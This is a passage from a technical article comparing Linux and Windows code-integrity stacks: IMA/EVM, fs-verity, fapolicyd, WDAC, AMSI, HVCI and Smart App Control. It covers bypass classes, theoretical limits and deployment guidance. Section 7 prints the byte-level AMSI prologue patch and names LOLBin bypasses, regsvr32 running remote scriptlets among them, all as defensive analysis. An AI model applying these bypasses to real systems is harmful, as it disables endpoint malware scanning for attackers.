&lt;p&gt;Smart App Control [@learn-microsoft-com-business-appcontrol] ships as a pre-baked WDAC policy bundled with Windows 11 22H2 and later. The App Control overview describes it as the consumer-facing entry point introduced in Windows 11 version 22H2 to bring application control to home users. On every fresh install SAC starts in &lt;em&gt;evaluation&lt;/em&gt; mode for 48 hours. Microsoft&apos;s cloud reputation service silently observes the user&apos;s app inventory; on enterprise-managed devices SAC auto-disables at the end of the window unless the user explicitly opts in. Once disabled by user, policy, or the auto-disable rule, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC is not sufficient.&lt;/p&gt;

Three quirks operators must understand. First, evaluation lasts 48 hours and is silent. Second, enterprise-managed (Intune, AAD-joined, GPO-managed) devices auto-disable at evaluation end. Third, disable is one-way: there is no &quot;restart evaluation&quot; path. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. Consumers with a small app footprint and no IT team get a cloud-driven allowlist for free; everyone else is expected to author a policy.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once Smart App Control is off on a device, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC does not re-enable SAC. Treat enabling SAC as a deployment decision, not a casual toggle.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.6 fs-verity as the per-file Merkle layer&lt;/h3&gt;
&lt;p&gt;For the data-at-rest performance story, fs-verity&apos;s &lt;code&gt;ioctl(FS_IOC_ENABLE_VERITY)&lt;/code&gt; builds the Merkle tree, persists it next to the file, and switches the file to read-only. &lt;code&gt;FS_IOC_MEASURE_VERITY&lt;/code&gt; returns the digest in constant time. IMA&apos;s policy language gained &lt;code&gt;appraise_type=sigv3&lt;/code&gt; and the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier so a rule like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;appraise func=BPRM_CHECK fsmagic=0xef53 appraise_type=sigv3 digest_type=verity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;asks the filesystem for the file&apos;s fs-verity digest (O(1)) and verifies the kernel-stored signature over that digest, rather than re-hashing the file even on first access. Supported on ext4, f2fs, and btrfs.&lt;/p&gt;
&lt;p&gt;Eleven mechanisms, two architectures, one shared shape: an allowlist of trusted producers plus a hook that can refuse to honour anything outside it. The allowlist of producers is the deepest common assumption, and it is also where the next class of attacks lives.&lt;/p&gt;
&lt;h2&gt;7. Bypass arms races&lt;/h2&gt;
&lt;p&gt;Every code-integrity system on the market is in a continuous fight with the bypass it shipped with. The fights tell you what each architecture got wrong.&lt;/p&gt;
&lt;h3&gt;The AMSI bypass family&lt;/h3&gt;
&lt;p&gt;The three single-shot techniques from Section 4 -- prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip, library unload -- have all been answered by partial mitigations. Microsoft has hardened AMSI provider loading [@learn-microsoft-com-interface-portal] to require Authenticode-signed provider DLLs from Windows 10 1903 onward. Defender ships ETW-based detection that flags in-memory patches to &lt;code&gt;amsi.dll&lt;/code&gt;. Constrained Language Mode (forced by App Control) blocks the reflection needed to flip &lt;code&gt;AmsiUtils.amsiInitFailed&lt;/code&gt;. None of these closes the structural problem. AMSI is by design a function call inside the script host. As long as the host process is the trust boundary, the attacker who reaches the host process wins.&lt;/p&gt;

The trust boundary is wrong: the host process making the AMSI call is the same process the attacker is running in.

The simplest in-memory patch overwrites `AmsiScanBuffer`&apos;s prologue with a six-byte sequence that loads `AMSI_RESULT_CLEAN` (0) into EAX and returns:&lt;pre&gt;&lt;code&gt;xor eax, eax    ; 31 C0
ret             ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or, depending on the calling convention the patcher targets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov eax, 0x80070057   ; B8 57 00 07 80   (HRESULT E_INVALIDARG)
ret                   ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both variants are detected by modern Defender via the ETW patch detection, but neither requires kernel privileges or a syscall to apply.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;The WDAC LOLBin arms race&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s App Control bypass list [@learn-microsoft-com-bypass-appcontrol] is a maintained document that any non-trivial WDAC policy must merge into its deny rules. The 40-plus entries include &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;addinutil.exe&lt;/code&gt;, &lt;code&gt;aspnet_compiler.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and &lt;code&gt;webclnt.dll&lt;/code&gt; / &lt;code&gt;davsvc.dll&lt;/code&gt;. The community LOLBAS index [@lolbas-project-github-io] widens the field to roughly 200 entries with MITRE ATT&amp;amp;CK technique IDs.&lt;/p&gt;
&lt;p&gt;Tooling (the WDAC Wizard, AaronLocker, Microsoft&apos;s &lt;code&gt;ConfigCI&lt;/code&gt; PowerShell module, &lt;code&gt;CiTool.exe&lt;/code&gt;) automates merging the deny set into a base policy and onto Intune. The asymmetry is the bottom line: trust granted at signer granularity, exploitation at binary granularity. The deny list is not a fix; it is a treadmill.&lt;/p&gt;

A trusted binary, often shipped by the OS vendor and signed by the vendor&apos;s code-signing certificate, that an attacker re-purposes to bypass an allowlist or to perform actions that would be blocked if attempted with non-vendor tooling. Examples on Windows: `mshta.exe` to evaluate HTA scripts, `regsvr32.exe` to execute a remote scriptlet, `installutil.exe` to run code via a designed-for-development assembly loader.
&lt;h3&gt;fapolicyd permissive-window&lt;/h3&gt;
&lt;p&gt;This is not a cryptographic bypass; it is the architectural choice (userspace daemon over &lt;code&gt;fanotify&lt;/code&gt;) showing its operational seam. A privileged operator who sets &lt;code&gt;permissive=1&lt;/code&gt; to debug a noisy rule and forgets to revert has silently disabled enforcement. If the daemon dies under load or after a bad rule deploy, the kernel waits for the fanotify response timeout and then fails open. There is no failsafe equivalent of HVCI&apos;s &quot;the verifier is in another address space&quot; guarantee.&lt;/p&gt;
&lt;h3&gt;IMA / EVM offline-key attacks&lt;/h3&gt;
&lt;p&gt;EVM is only as strong as its key custody. If the HMAC key is loaded from a file on disk (the worst-case configuration), an attacker with root on a running system can read it, then perform the offline-rewrite attack of Section 4 with a valid &lt;code&gt;security.evm&lt;/code&gt; HMAC. TPM-sealed keys close this path on hardware that supports sealing; some installations skip the seal step &quot;until we add a TPM&quot; and never do. Asymmetric (EVM portable signatures) mode avoids on-box key custody but requires a per-package signing pipeline most distributions have not built.&lt;/p&gt;
&lt;h3&gt;The cross-stack symmetry&lt;/h3&gt;
&lt;p&gt;Both lineages obey two architectural rules, and both have at least one place where they break each rule:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Linux instance&lt;/th&gt;
&lt;th&gt;Windows instance&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;th&gt;Partial mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Verifier shares address space with attacker&lt;/td&gt;
&lt;td&gt;(script interpreters; no in-kernel interpreter scanner)&lt;/td&gt;
&lt;td&gt;AMSI prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip&lt;/td&gt;
&lt;td&gt;Software-only protection of an in-process secret is impossible&lt;/td&gt;
&lt;td&gt;ETW patch detection, signed providers, Constrained Language Mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust grant coarser than exploit unit&lt;/td&gt;
&lt;td&gt;RPM trust pre-fapolicyd integrity-mode addition&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules + LOLBins&lt;/td&gt;
&lt;td&gt;Trust algebra cannot express &quot;Microsoft except mshta&quot; with one rule&lt;/td&gt;
&lt;td&gt;Hash-level denies, growing block list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reference value reachable by attacker&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;(HVCI moved the kernel verifier out of reach)&lt;/td&gt;
&lt;td&gt;Reference value next to the file under attacker control&lt;/td&gt;
&lt;td&gt;EVM HMAC sealed to TPM PCR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifier is killable&lt;/td&gt;
&lt;td&gt;fapolicyd daemon failure&lt;/td&gt;
&lt;td&gt;(HVCI verifier is hypervisor-isolated)&lt;/td&gt;
&lt;td&gt;Verifier liveness is part of the trust assumption&lt;/td&gt;
&lt;td&gt;TPM-sealed boot policy + kernel-mode fallback&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The first row is the most uncomfortable for both stacks. Linux does not have an AMSI-equivalent in production, so there is no in-kernel hook that sees the buffer an interpreter is about to evaluate; the boundary is not &quot;wrong&quot;, it simply does not exist. Windows has the hook and has paid for the consequences of putting it in the wrong place for ten years. Neither result is good.&lt;/p&gt;
&lt;p&gt;The lesson from both rows of pivots is consistent: when an architecture is forced to put the verifier somewhere reachable, treat its output as telemetry rather than control, and budget for the bypass.&lt;/p&gt;
&lt;p&gt;These are not implementation bugs. They are structural features of the architectures, and to understand why, we have to look at what computer science says is and is not possible.&lt;/p&gt;
&lt;h2&gt;8. What the theory says&lt;/h2&gt;
&lt;p&gt;Three impossibility results bound everything in this article. Two are decades old; the third is a property of how modern interpreted languages execute.&lt;/p&gt;
&lt;h3&gt;Rice&apos;s theorem&lt;/h3&gt;
&lt;p&gt;Rice&apos;s 1953 theorem says that any non-trivial semantic property of an arbitrary program is undecidable from the program text alone. Applied to malware: there is no algorithm that takes a binary as input and returns &quot;malicious&quot; or &quot;benign&quot; in finite time for every input.&lt;/p&gt;
&lt;p&gt;Every code-integrity stack on the market therefore reduces to the same shape: an &lt;em&gt;allowlist&lt;/em&gt; of producers (signers, hashes, dm-verity roots) the operator chooses to trust, plus a hook that refuses to honour anything outside the allowlist. Defender, ClamAV, the AMSI scanner -- all the things we call &quot;malware detectors&quot; -- are heuristic add-ons running on top of an allowlist substrate, and they are explicitly fallible. They have to be.&lt;/p&gt;
&lt;h3&gt;No software-only protection of an in-process secret&lt;/h3&gt;
&lt;p&gt;The second result is operational, not formal, but it is no less binding. If process P holds a secret S, and process P also evaluates code C the attacker chose, then no purely software-side technique inside P can keep C from reading or rewriting S.&lt;/p&gt;
&lt;p&gt;AMSI&apos;s design violates this: the scanner is a function call inside the script host, and the attacker is running code in the script host. HVCI&apos;s entire architecture exists to relocate the kernel-mode code-integrity verifier out of the host&apos;s address space, into a secure kernel the attacker cannot reach with normal kernel privileges. EVM&apos;s design likewise moves the integrity-defining key into a kernel keyring sealed to TPM PCRs so an offline attacker with disk access cannot reach it.&lt;/p&gt;
&lt;h3&gt;No verification of dynamically generated executable code&lt;/h3&gt;
&lt;p&gt;The third result is the gap on both operating systems. JIT-compiled code (V8, JVM, CLR), libffi closures, and anonymous &lt;code&gt;mmap&lt;/code&gt; followed by &lt;code&gt;mprotect(PROT_EXEC)&lt;/code&gt; all produce executable bytes that did not exist on disk and were never hashed.&lt;/p&gt;
&lt;p&gt;The IPE documentation [@docs-kernel-org-lsm-ipehtml] lists this as an explicit limitation: a property-based check on the file the JIT compiled does not authenticate the bytes the JIT emitted. WDAC&apos;s User-Mode Code Integrity has the same gap for managed runtimes that emit IL at runtime. There is no production answer on either side; there are only mitigations: disable JITs where possible, run them in restricted runtimes (Constrained Language Mode), block the trampolines.The JIT gap is one reason both stacks ship &quot;Constrained Language Mode&quot;-style restricted-runtime options. PowerShell&apos;s Constrained Language Mode blocks reflection and dynamic-type creation; the JVM&apos;s &lt;code&gt;--module-path&lt;/code&gt; and module-system encapsulation play a similar role for hosted Java code; the CLR&apos;s AppContainer and the .NET Core trim modes lean the same way. None of these &quot;verify&quot; the JIT output; they restrict what the runtime is willing to emit.&lt;/p&gt;
&lt;h3&gt;Cryptographic bounds&lt;/h3&gt;
&lt;p&gt;The cryptographic side, by contrast, is closed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any preimage-resistant hash needs $\Omega(n)$ work on the data being hashed. You cannot verify a file you do not read.&lt;/li&gt;
&lt;li&gt;A Merkle tree with leaf size $k$ over a file of size $n$ reduces this to $O(\log(n/k))$ per partial read. The classic Merkle 1979 construction underlies dm-verity, fs-verity, and the Android APK Signature Scheme v4. &lt;strong&gt;fs-verity matches this lower bound.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Whole-file SHA-256 on modern x86 with SHA-NI runs at roughly $2 \text{ GB/s}$ per core; SHA-512 at $\sim 1.4 \text{ GB/s}$. A 100 MB binary verifies in roughly $50 \text{ ms}$ worst-case and $0 \text{ ms}$ cached. RSA-2048 and Ed25519 signature verification both finish in well under a millisecond on modern hardware (tens to a few hundred microseconds depending on CPU and library); verify cost is not the bottleneck.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So on the &lt;em&gt;crypto&lt;/em&gt; side the gap between upper and lower bounds is closed. On the &lt;em&gt;policy-expressiveness&lt;/em&gt; side there is no &quot;best&quot; policy because the right policy depends on threat model. There is no Pareto frontier; there are only trade-offs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;What it says&lt;/th&gt;
&lt;th&gt;Mechanism that matches it&lt;/th&gt;
&lt;th&gt;Remaining gap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem&lt;/td&gt;
&lt;td&gt;&quot;Is this binary malicious?&quot; is undecidable&lt;/td&gt;
&lt;td&gt;Every CI stack is an allowlist + signer model&lt;/td&gt;
&lt;td&gt;Allowlist composition is itself a policy problem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process secret&lt;/td&gt;
&lt;td&gt;No purely-software defence inside the attacker&apos;s address space&lt;/td&gt;
&lt;td&gt;HVCI moves verifier to VTL1; EVM key in keyring sealed to TPM&lt;/td&gt;
&lt;td&gt;AMSI design violates this; the gap is structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash verification&lt;/td&gt;
&lt;td&gt;$\Omega(n)$ per full read; $O(\log n)$ per partial read&lt;/td&gt;
&lt;td&gt;fs-verity per page; IMA cached on &lt;code&gt;i_iversion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cold-cache cost remains O(n) for non-fs-verity files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JIT and dynamic code&lt;/td&gt;
&lt;td&gt;No way to verify code that did not exist on disk&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Restricted-runtime modes (CLM, AppContainer) are the best partial answer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asymmetric verify&lt;/td&gt;
&lt;td&gt;About 60-300 us per RSA-2048 or Ed25519 verify on modern x86&lt;/td&gt;
&lt;td&gt;Authenticode catalogues amortise; IMA caches in inode&lt;/td&gt;
&lt;td&gt;Cold cache is the only sensitive case&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Crypto is closed. Policy expressiveness and trust-boundary protection are theoretically unsolvable in general. Every stack is an allowlist plus a trusted-signer model, never a malware detector. The wall is theoretical, not engineering.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the theory says we cannot win, what is research targeting in 2026?&lt;/p&gt;
&lt;h2&gt;9. Open frontiers&lt;/h2&gt;
&lt;p&gt;Three problems define the 2026 research front. All are being worked on upstream. None will dissolve the theoretical bounds of Section 8.&lt;/p&gt;
&lt;h3&gt;Linux integrity at distribution scale: the Integrity Digest Cache&lt;/h3&gt;
&lt;p&gt;IMA appraisal has a scale problem. On a general-purpose Linux distribution where every file is RPM-signed, asking IMA to verify a per-file &lt;code&gt;imasig&lt;/code&gt; signature on every &lt;code&gt;open&lt;/code&gt; is expensive.&lt;/p&gt;
&lt;p&gt;Roberto Sassu (Huawei Cloud) proposed a fix as the &lt;code&gt;digest_cache&lt;/code&gt; LSM in version 3 of the patchset, posted in February 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom] and covered on LWN [@lwn-net-articles-961591]. The v3 cover letter is concrete: &quot;Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read.&quot; The design extracts pre-computed reference digests from vendor-signed digest lists (RPM headers, kernel TLV digest-list format, third-party formats via loadable parsers) and exposes a &lt;code&gt;digest_cache_lookup()&lt;/code&gt; primitive that integrity providers (IMA, IPE, BPF LSM) call instead of verifying per-file signatures.&lt;/p&gt;
&lt;p&gt;By v6 in November 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom-2] the work had been retitled &quot;Introduce the Integrity Digest Cache&quot; and pivoted from a standalone LSM into an integrity-subsystem helper, in response to maintainer feedback. The v6 cover letter quantifies the baseline the design attacks: IMA measurement &quot;introduces a noticeable overhead (up to 10x slower in a microbenchmark) on frequently used system calls, like the open().&quot; Discussion continues on the linux-integrity list [@lore-kernel-org-linux-integrity]; memory safety of the TLV parser was verified with the Frama-C [@frama-c-com] static analyser. As of late 2024 the work is not yet upstream.&lt;/p&gt;

Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read. -- Roberto Sassu, digest_cache LSM v3 cover letter, February 2024
&lt;p&gt;The important framing correction: the Integrity Digest Cache is &lt;strong&gt;not&lt;/strong&gt; a Linux AMSI equivalent. AMSI is an interpreter-side scanner of the deobfuscated, about-to-execute script buffer. The Integrity Digest Cache is a file-content digest delivery mechanism that closes the same gap IMA already closes, but more efficiently and at distribution scale. The Linux script-content gap remains genuinely open.&lt;/p&gt;
&lt;h3&gt;Out-of-process AMSI broker&lt;/h3&gt;
&lt;p&gt;The conjectural fix on the Windows side is an out-of-process AMSI broker: every &lt;code&gt;AmsiScanBuffer&lt;/code&gt; call IPCs to a service running outside the script host&apos;s address space. The in-process bypass family disappears because the attacker is no longer in the same process as the scanner. The cost is a context switch and serialisation overhead per script eval.&lt;/p&gt;
&lt;p&gt;Microsoft has layered partial mitigations -- signed AMSI provider DLLs from 1903, ETW patch detection in Defender, Constrained Language Mode under App Control -- but no full out-of-process redesign exists. Whether it ever will is a function of how willing Microsoft is to pay the latency cost on hot PowerShell loops.&lt;/p&gt;
&lt;h3&gt;Cross-OS attestation&lt;/h3&gt;
&lt;p&gt;A verifier validating evidence from a mixed Linux + Windows fleet today must speak two languages at once. IMA&apos;s measurement-log format (&lt;code&gt;ima_template_fmt&lt;/code&gt;) and &lt;a href=&quot;https://paragmali.com/blog/measured-boot-the-tcg-event-log-from-srtm-to-pcr-bound-bitlo/&quot; rel=&quot;noopener&quot;&gt;Windows Measured Boot&lt;/a&gt;&apos;s WBCL [@trustedcomputinggroup-org-log-format] both target TPM PCRs but encode events differently.&lt;/p&gt;
&lt;p&gt;Confidential-computing efforts (Intel TDX, AMD SEV-SNP) are pushing toward a common report/quote primitive at the platform layer, and the TCG Canonical Event Log Format aims at a portable per-entry representation. Workload-level integrity proofs remain stack-specific. The two operating systems do not yet speak a common attestation language.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Current best partial result&lt;/th&gt;
&lt;th&gt;Upstream status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraisal scale on RPM-signed distros&lt;/td&gt;
&lt;td&gt;Integrity Digest Cache, 45-65% appraisal speedup&lt;/td&gt;
&lt;td&gt;Patchset v6 (Nov 2024); not upstream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI in-process trust boundary&lt;/td&gt;
&lt;td&gt;Signed provider DLLs, ETW patch detection, CLM&lt;/td&gt;
&lt;td&gt;Partial; structural fix would be OOP broker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux script-content scanning&lt;/td&gt;
&lt;td&gt;Nothing in production&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-OS attestation interop&lt;/td&gt;
&lt;td&gt;TCG CEL, TDX/SEV-SNP quotes&lt;/td&gt;
&lt;td&gt;Platform-layer; workload-level still split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC LOLBin treadmill&lt;/td&gt;
&lt;td&gt;Microsoft block list + LOLBAS + WDAC Wizard&lt;/td&gt;
&lt;td&gt;Operational; structural fix unknown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these will probably ship in the 2026-2028 window. None of them dissolves the theoretical bounds of Section 8. The job for a defender in 2026 is therefore &lt;strong&gt;operational&lt;/strong&gt;, not technological.&lt;/p&gt;
&lt;h2&gt;10. Practitioner decision guide&lt;/h2&gt;
&lt;p&gt;Eight common deployment scenarios. Eight concrete answers.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;If you need...&lt;/th&gt;
&lt;th&gt;On Linux, use...&lt;/th&gt;
&lt;th&gt;On Windows, use...&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;TPM-backed remote attestation&lt;/td&gt;
&lt;td&gt;IMA + EVM (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Measured Boot + TPM PCR 11 + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block unsigned drivers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;module.sig_enforce=1&lt;/code&gt; plus kernel module signing&lt;/td&gt;
&lt;td&gt;HVCI (Memory Integrity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cryptographic allowlist of installed software&lt;/td&gt;
&lt;td&gt;fapolicyd (RPM/DEB trust)&lt;/td&gt;
&lt;td&gt;App Control with Publisher rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-app sandbox&lt;/td&gt;
&lt;td&gt;AppArmor or SELinux&lt;/td&gt;
&lt;td&gt;AppContainer or App Control (no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Catch in-memory PowerShell payloads&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consumer-grade reputation gating&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;Smart App Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Immutable appliance image&lt;/td&gt;
&lt;td&gt;dm-verity + IPE&lt;/td&gt;
&lt;td&gt;App Control with hash rules + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Large APK-style assets verified lazily&lt;/td&gt;
&lt;td&gt;fs-verity&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The why behind each row.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TPM-backed attestation.&lt;/strong&gt; On Linux, IMA&apos;s measurement mode extends file hashes into PCR 10 and ships the measurement log to a remote verifier (Keylime, Veraison). On Windows it means consuming the Measured Boot event log a Windows kernel emits while VBS+HVCI is enabled. Both stacks target the same root of trust (the TPM) but speak different event formats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blocking unsigned drivers.&lt;/strong&gt; Linux uses a built-in kernel module signing flag. Windows needs HVCI, because the kernel-mode CI check runs in VTL1 and any policy weakening attempted from VTL0 with SYSTEM cannot reach it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application allowlisting on general-purpose distributions.&lt;/strong&gt; This is fapolicyd&apos;s wheelhouse: it inherits trust from the RPM/DEB database, which is the only place a general-purpose distro has a clean &quot;trusted&quot; list. On Windows, App Control with publisher rules plus a managed-installer policy is the equivalent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Per-app sandboxing.&lt;/strong&gt; Clean Linux story (AppArmor or SELinux per binary). On Windows it is the gap App Control was never quite designed to fill; &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer&lt;/a&gt; or Microsoft Defender Attack Surface Reduction rules are the substitutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In-memory PowerShell payloads.&lt;/strong&gt; AMSI&apos;s use case. Linux has nothing equivalent in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consumer reputation gating.&lt;/strong&gt; Smart App Control&apos;s use case. Linux distros have nothing equivalent because the distribution-package model already plays that role.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immutable appliance images.&lt;/strong&gt; Dm-verity plus IPE on Linux. App Control hash rules plus HVCI on Windows.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Large lazy-loaded assets.&lt;/strong&gt; Fs-verity territory; Windows has no public equivalent.&lt;/p&gt;
&lt;h3&gt;Common implementation pitfalls&lt;/h3&gt;
&lt;p&gt;Distilled from the same shape: every stack has a default that surprises operators.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IMA without EVM and without a TPM-sealed key is decorative.&lt;/strong&gt; Hashing files into an xattr the attacker can rewrite buys you nothing against offline access. EVM is mandatory; the EVM key must be sealed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppArmor profiles authored in &lt;em&gt;complain&lt;/em&gt; mode never get promoted to &lt;em&gt;enforce&lt;/em&gt;.&lt;/strong&gt; Schedule a config-management pass that runs &lt;code&gt;aa-enforce&lt;/code&gt; on the profiles you actually want to confine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SELinux &lt;code&gt;setenforce 0&lt;/code&gt; for debugging that becomes permanent.&lt;/strong&gt; The &lt;code&gt;/.autorelabel&lt;/code&gt; flag is required after restoring contexts; track that you flipped it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fapolicyd permissive-mode lapses.&lt;/strong&gt; Set up alerting on &lt;code&gt;permissive=1&lt;/code&gt; in the runtime configuration; treat the daemon&apos;s exit status as a security event.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; policy-rule option is on by default.&lt;/strong&gt; Policies silently do not enforce until you remove it. Add a deployment check that asserts audit mode is &lt;em&gt;off&lt;/em&gt; before declaring rollout complete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HVCI without a driver-compatibility check.&lt;/strong&gt; Microsoft&apos;s &lt;code&gt;DG_Readiness_Tool&lt;/code&gt; and the HVCI compatibility report belong in every pilot. Vendors that allocate RWX kernel pages will fail HVCI loading and leave the host unbootable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treating AMSI as a control.&lt;/strong&gt; It is telemetry. Budget for the bypass on day one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart App Control disable is one-way.&lt;/strong&gt; A single mis-click ends the consumer reputation gate until the device is reset. Make sure the user understands this before they tap the toggle.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On Linux: enable IMA in &lt;code&gt;measure&lt;/code&gt; mode before &lt;code&gt;appraise&lt;/code&gt;; deploy AppArmor / SELinux profiles in &lt;em&gt;complain&lt;/em&gt; / &lt;em&gt;permissive&lt;/em&gt; before &lt;em&gt;enforce&lt;/em&gt;; run fapolicyd with &lt;code&gt;permissive=1&lt;/code&gt; for the first deploy. On Windows: leave WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; set during the first rollout and use the event log to identify the policy gaps before flipping to enforced. Audit mode is the only safe way to discover that the policy is wrong before it locks you out of production.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A bare IMA appraisal policy without an HMAC-keyed EVM (and without the key sealed to a TPM 2.0 PCR set) does not stop an offline attacker. If you do not have TPM-sealed key custody and signed-xattr xattrs, IMA appraisal is mostly a check-box. fapolicyd with &lt;code&gt;integrity=ima&lt;/code&gt; may be a saner starting point on machines without TPM.&lt;/p&gt;
&lt;/blockquote&gt;

